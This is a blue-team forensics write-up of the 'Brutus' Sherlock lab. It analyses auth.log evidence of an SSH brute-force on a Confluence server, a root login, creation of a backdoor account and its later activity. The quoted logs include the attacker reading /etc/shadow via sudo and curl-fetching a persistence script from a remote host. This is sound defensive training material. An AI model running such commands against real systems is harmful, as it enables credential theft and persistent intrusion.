

Brutus Lab

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We'll explore a scenario where a Confluence server was brute-forced via its SSH service.



Unzip the file with password hacktheblue

Tactics:

Initial Access, Execution, Defense Evasion, Credential Access, Discovery Collection, Command and Control, Exfiltration

Tools:

Splunk, Mitre attack enterprise matrix

Scenario:

After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

Achievement:

[Blue team CTF Challenges | HawkEye - CyberDefenders](#)

<https://cyberdefenders.org/blueteam-ctf-challenges/achievements/piyushraj213p/hawkeye/>

Analyse the auth.log. What is the IP address used by the attacker to carry out a brute force attack?

65.2.161.68

```
Mar 6 06:30:01 ip-172-31-35-28 CRON[2298]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:30:01 ip-172-31-35-28 CRON[2299]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:30:01 ip-172-31-35-28 CRON[2298]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:30:01 ip-172-31-35-28 CRON[2299]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:31:01 ip-172-31-35-28 CRON[2314]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:31:01 ip-172-31-35-28 CRON[2313]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:31:01 ip-172-31-35-28 CRON[2314]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:31:01 ip-172-31-35-28 CRON[2313]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: error: beginning MaxStartups throttling
Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422
Mar 6 06:31:31 ip-172-31-35-28 sshd[2337]: Invalid user admin from 65.2.161.68 port 46498
Mar 6 06:31:31 ip-172-31-35-28 sshd[2328]: Invalid user admin from 65.2.161.68 port 46390
Mar 6 06:31:31 ip-172-31-35-28 sshd[2335]: Invalid user admin from 65.2.161.68 port 46460
Mar 6 06:31:31 ip-172-31-35-28 sshd[2337]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2337]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
```

The brute force attempts were successful and attacker gained access to an account on the server. What is the username of the account?

Root

```
Mar 6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:18:01 ip-172-31-35-28 CRON[1117]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:18:01 ip-172-31-35-28 CRON[1117]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:19:01 ip-172-31-35-28 CRON[1366]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:19:01 ip-172-31-35-28 CRON[1367]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:19:01 ip-172-31-35-28 CRON[1366]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:19:01 ip-172-31-35-28 CRON[1367]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:19:52 ip-172-31-35-28 sshd[1465]: AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_runAuthorizedKeys root
SHA256:AvycLsDMzI+hvb9OP3wd18zIpYtqJmRq/QIZaLNrg8A failed, status 22
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.190.1.203 port 42825 ssh2
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:19:54 ip-172-31-35-28 systemd-logind[411]: New session 6 of user root.
Mar 6 06:19:54 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:20:01 ip-172-31-35-28 CRON[1599]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:20:01 ip-172-31-35-28 CRON[1600]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:20:01 ip-172-31-35-28 CRON[1599]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:20:01 ip-172-31-35-28 CRON[1600]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:21:01 ip-172-31-35-28 CRON[1628]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:21:01 ip-172-31-35-28 CRON[1629]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:21:01 ip-172-31-35-28 CRON[1629]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:21:01 ip-172-31-35-28 CRON[1628]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:22:01 ip-172-31-35-28 CRON[1650]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:22:01 ip-172-31-35-28 CRON[1649]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:22:01 ip-172-31-35-28 CRON[1649]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:22:01 ip-172-31-35-28 CRON[1650]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:23:01 ip-172-31-35-28 CRON[2183]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:23:01 ip-172-31-35-28 CRON[2184]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:23:01 ip-172-31-35-28 CRON[2183]: pam_unix(cron:session): session closed for user confluence
```

Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

37

```
Mar 6 06:31:42 ip-172-31-35-28 sshd[2409]: Connection closed by authenticating user root 65.2.161.68 port 46890 [preauth]
Mar 6 06:31:42 ip-172-31-35-28 sshd[2409]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar 6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar 6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar 6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar 6 06:32:01 ip-172-31-35-28 CRON[2477]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:32:01 ip-172-31-35-28 CRON[2476]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:32:01 ip-172-31-35-28 CRON[2476]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:32:01 ip-172-31-35-28 CRON[2477]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:32:01 ip-172-31-35-28 CRON[2477]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:32:01 ip-172-31-35-28 CRON[2476]: exited MaxStartups throttling after 00:01:08, 21 connections dropped
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(chauthtok): password changed for cyberjunkie
Mar 6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
```

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

Cyberjunkie

```
Mar 6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar 6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar 6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar 6 06:32:01 ip-172-31-35-28 CRON[2477]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:32:01 ip-172-31-35-28 CRON[2476]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:32:01 ip-172-31-35-28 CRON[2477]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:32:01 ip-172-31-35-28 CRON[2477]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:32:39 ip-172-31-35-28 sshd[620]: exited MaxStartups throttling after 00:01:08, 21 connections dropped
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Mar 6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence
```

What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

T1136.001

The screenshot shows the MITRE ATT&CK website interface. On the left, there's a sidebar with a tree view of techniques categorized under 'TECHNIQUES'. The 'Create Account' node is expanded, and its child node 'Local Account' is selected, highlighted in blue. The main content area has a title 'Create Account: Local Account'. Below the title is a table titled 'Other sub-techniques of Create Account (3)'. The table has two columns: 'ID' and 'Name'. It lists three entries: T1136.001 (Local Account), T1136.002 (Domain Account), and T1136.003 (Cloud Account). To the right of the table is a detailed description of the Local Account technique, mentioning it's used to maintain access to victim systems. It also provides examples of commands for creating local accounts on Windows, Linux, and macOS. At the bottom right of the page, there's a 'Version Permalink' link.

Home > Techniques > Enterprise > Create Account > Local Account

Create Account: Local Account

Other sub-techniques of Create Account (3)	
ID	Name
T1136.001	Local Account
T1136.002	Domain Account
T1136.003	Cloud Account

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

For example, with a sufficient level of access, the Windows `net user /add` command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the `dscl -create` command can be used. Local accounts may also be added to network devices, often via common Network Device CLI commands such as `username`, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.^{[1][2]}

ID: T1136.001
Sub-technique of: T1136
① Tactic: Persistence
① Platforms: Containers, ESXi, Linux, Network Devices, Windows, macOS
Contributors: Austin Clark, @c2defense
Version: 1.5
Created: 28 January 2020
Last Modified: 24 October 2025

Version Permalink

What time did the attacker's first SSH session end according to auth.log?

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

/usr/bin/curl

<https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>

```
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
Mar  6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:38:01 ip-172-31-35-28 CRON[2751]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:38:01 ip-172-31-35-28 CRON[2750]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:38:01 ip-172-31-35-28 CRON[2750]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:38:01 ip-172-31-35-28 CRON[2751]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:39:01 ip-172-31-35-28 CRON[2765]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:39:01 ip-172-31-35-28 CRON[2765]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl
https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:40:01 ip-172-31-35-28 CRON[2783]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:40:01 ip-172-31-35-28 CRON[2784]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:40:01 ip-172-31-35-28 CRON[2783]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:40:01 ip-172-31-35-28 CRON[2784]: pam_unix(cron:session): session closed for user confluence
```